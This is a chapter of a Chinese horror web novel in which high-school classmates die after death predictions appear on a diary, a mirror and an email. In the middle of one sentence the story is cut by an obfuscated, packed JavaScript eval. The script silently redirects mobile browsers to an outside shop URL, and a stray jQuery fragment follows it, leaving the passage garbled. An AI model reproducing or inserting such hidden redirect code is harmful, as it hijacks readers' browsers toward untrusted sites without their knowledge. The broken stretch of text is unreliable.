裘盛媛尚未知噩运即将来到。
她又恢复了那种随意的调子:“那她最好别被我发现她是谁,不然我真要她好看。
程棂让手机提示音弹了两下。
划到聊天界面,赫然有宋云络发来的一行消息:“给你点了外卖,是小蛋糕。骑手给你放门口了。”
程棂让羞涩一笑,看上去就是看着手机傻乐。
她站起来,跟裘盛媛说:“我出去拿个外卖。有人给我买的小蛋糕到了。”
裘盛媛端起她新买的水壶,才拧开盖子,“哟,有人给你买的?是谁啊?你的某位追求者?”
“我不说。”
程棂让走到教室门口,回头看了她一眼,“反正我先去拿小蛋糕。”
“等会儿分你一半。”
“行,再见。”裘盛媛挪到了讲台位置,冲程棂让挥了挥手,马上又进入游戏加载页面。
充电口在讲台旁边,她快没电了。
传达室的小蛋糕是淡黄色丝带系着的。打着一个小蝴蝶结。
程棂让拎在手里,纸盒不大,拎起来轻轻晃一下,里面的蛋糕会微微滑动。
她低头看了一眼。
心情愉悦到甚至想蹦蹦跳跳着回教室。
程棂让推开高三(10)班的门时,先看见的是地上的水。
玻璃水壶倒在讲台旁边的地上。盖子滚到了讲台底下,壶口朝着地面,里面的水已经流了大半。
裘盛媛就倒在讲台下面,侧躺着,一只手向前伸着,像是想抓住什么,然而什么也没有,只有一小摊水。
裘盛媛的嘴唇微微发紫,嘴角有水渍。
程棂让惊恐万分,却因恐惧过甚,而只能一动不动地定在门口。
她不敢动。
她听见自己的呼吸声变重了。
胸口像是被人按住,按得很慢,越来越用力,直到她不得不张开嘴巴才能呼吸。
窗外的风还在吹,窗帘轻轻动了一下。
程棂让觉得仿佛过了一个世纪那样漫长,事实上不过是两三秒。她很快就往前走了一步,半蹲下来,伸手去碰裘盛媛的肩膀。
“媛媛,媛媛你醒一醒。”
她没反应。
裘盛媛的手臂是凉的,比室温低几度。能感觉到皮肤下面的肌肉已经松弛了,没有那种活人应有的弹性。
程棂让的手指缩了一下,赶紧拨打120:“杭城二中,高三(10)班,有人昏倒了,没有呼吸了。”她停了一下,又说:“请快点来。”
裘盛媛似乎是喝水被呛死了。
程棂让惊惶未定,倏然间想到课本上教过的急救常识,怕给裘盛媛造成二次伤害,再不敢动她。
她木愣地注视裘盛媛,整个身子犹如石化了一般。好半天,她都没记起来脑子里在想什么。
-
裘盛媛确实死透了。
教室里面有监控,清晰地记录她喝水被呛到的全程。
裘卫南悲痛欲绝。
他反复地问程棂让裘盛媛都跟她说了些什么。
毕竟,跟程棂让的对话,无异于裘盛媛离世前最后的遗言。
程棂让体谅裘卫南的心情。裘盛媛骤然离世,也让她伤心不已。
原来人不是活到六七十岁才会死的,而是意外,说来就来。
裘盛媛的验尸报告一个星期后出来。
裘卫南应程棂让的恳求,给她发送了一份扫描件。
程棂让坐在客厅里,手机屏幕的光映在她脸上。
她反反复复看了好几遍,把每个字都看进去了,像在确认一件她还不愿意相信的事。
报告写得规整冷静。
写报告的人在用这种方式和死亡保持距离。
“死者裘盛媛,女性,18岁。体表无明显外伤,颈部无压迫痕迹,口鼻部未见异常分泌物。”
“……推测为饮水时液体误入气道,引发喉痉挛及神经源性肺水肿,导致急性呼吸窘迫综合征及心脏骤停。死亡时间约在饮水后1-3分钟内。”
程棂让把手机扣在桌上,没有再又看一遍。
裘盛媛的死过于随意和荒唐,仅仅因为一口水。
十八岁,初升太阳的年纪,就因为一口水,熄灭了这一生的光焰。
程棂让心口郁痛,里面似乎是灌了铅,拉着她的身体和思想全部下坠。
-
虽然发生了高三毕业生意外死亡事件,但学校不会因此放过准高三一马,该补课就是得补课。
原则上,高三毕业生不得再随意进入学校。
但黄孝联和各科老师关系处得都不错,尤其是班主任。班主任和门卫打过招呼,门卫看在他也曾是二中学生的份上,便也睁一只眼,闭一只眼,放他进去打球了。
二中拥有A省最强的篮球队。
黄孝联跟他们关系也没错,因此蹭到了跟全省最出色篮球生打球的机会。
他几乎一天不落地出现在二中篮球场。
7月10日的傍晚,操场很空。
篮球生们去外校打比赛了。
但哪怕只有一个人,黄孝联也可以自得其乐。他一个人留在学校里,运球、投篮、捡球、再运球、再投篮,做着不用动脑子的重复动作。
这样运动了差不多两个小时候,他终于感觉累了。
黄孝联抱了篮球,往体育馆的厕所里走。手脏不脏倒是无所谓,主要是脸上汗流多了,有点腻。
洗一把脸会清爽很多。
水龙头拧开,水声哗哗的。
他抬头看了一眼镜子。
镜子里的自己看起来有点陌生。
额前的头发湿了,贴在皮肤上。满脸水珠滚落,他深深地吸了一大口气。
他盯着看了一会儿。
突然发现镜子的右下角缓缓地透出奇怪的一行字。
像是用水汽写的,笔画很细。
又像是有人用手指在镜子背面划出来的。光线从另一侧穿过来,那些笔画才显现在镜面上。
“7月10日,黄孝联将会死于篮球。”
他猛地震颤了一下。往后退了一步。
凭空出现一行字,而且还是死亡诅咒。要多吓人有多吓人。
他蓦然间还联想到十天前,裘盛媛的死。据说,她翻到了一本日记本。上面写着她当天会死,然后就喝水呛死了。
黄孝联心内的惶恐争前恐后般狠狠撞击着他的胸膛。
放在洗手台的篮球倏然滚落到地上,他捡都不去捡一下,转身就跑。
篮球弹了两下,滚到墙边停住了。
“妈的——”跑出体育馆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703016|207601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,迎面看见宽阔的外界时,他忍不住骂了声。
声音很快随风而逝。
黄孝联跑回家之后,赶紧把大门关上。冲进卧室里,又赶紧把房门锁上。
他坐在床边,心跳还是很快。
应该不会是恶作剧。
实打实的诡异事件。
本来他或许不信世上会有超自然事件发生,但是上次虚空教室里的经历又更新了黄孝联的认知。
“妈的,妈的,妈的。”小伙子身强力壮,头脑发达,四肢简单。但他这是在用最原始的词语,发泄着怨愤与恐惧。
他掏出手机想给方实荧和万雪煌打电话,语音通话还没有响过两声,他又按了红色的挂断按钮。
现在他的头脑混乱,仿佛一团扯不开的乱麻。
六神无主之下,一时之间不知道究竟干些什么才好。
要不然,先去喝口水吧?
他咂巴了下嘴,突然觉得嘴巴有些发干,怪口渴的。
黄孝联穿过客厅去厨房倒水。
路过客厅,看见电视机柜下摆着的篮球,心里发怵。
由于热爱篮球,黄孝联特别喜欢买球衣、球鞋还有球,以及种种周边。光是篮球,他们家就有近十个。
黄孝联想到镜面上浮现的诅咒文字。
下意识想离这些篮球远远的。
转念一想,又觉得光离得远还不够,他要把这些篮球暂时藏起来。
黄孝联找来一个巨大的收纳盒,平时装书用的。高考结束不装书了,腾出来了,正好给他拿来装球。
他摸到第一个篮球,顿时感觉有些手痒。
索性站起来,把球砸向地面。
他蓦然开始自个儿又玩了起来,又往地面砸,又往墙上抛的,不亦乐乎。
篮球如一只长了翅膀的精灵,灵动地飞舞跳跃。
它撞向墙面,受力之后回弹,带着期待一般奔向了黄孝联。
但,却砸到了黄孝联的脸。
身强体壮的小伙子,就挨了篮球一下,蓦然间便轰然倒下。
他倒在地上,身子轻轻地抽搐,眼皮痛苦地阖上,登时没了呼吸。
黄孝联,似乎真的被篮球砸死了。
-
高三(10)班又一名同学的离世,引发了轩然大波。
才隔了十天,同班两位同学相继离世。而且,据说后来死掉的男同学,被死亡讯息事先预警过。
当时黄孝联编辑消息发给了方实荧和万雪煌,两人中不知是哪一个传出来的,一传十,十传百,造成小范围圈子里的恐慌。
纵然黄孝联的尸检报告一个星期以后就出来了。
但大家依然被风言风语裹挟,相信事情绝没那么简单。
他有先天性脑血管瘤。
在家玩篮球只是表面的一个诱因,有这个先天性疾病,随时都可能丧命的。只不过恰好,他在打篮球。
程棂让一连死了两个同学,心情郁闷。
她靠上网打发时间,缓解愁苦心绪。打着某经典5v5推塔游戏时,久不出现的邮件图标闪了一下。
她顺手便点了进去。
发件人地址陌生,她不认识。
但是工整的一行楷体字却歹毒冰冷:“7月20日,程棂让将会在杭城二中操场上死掉。”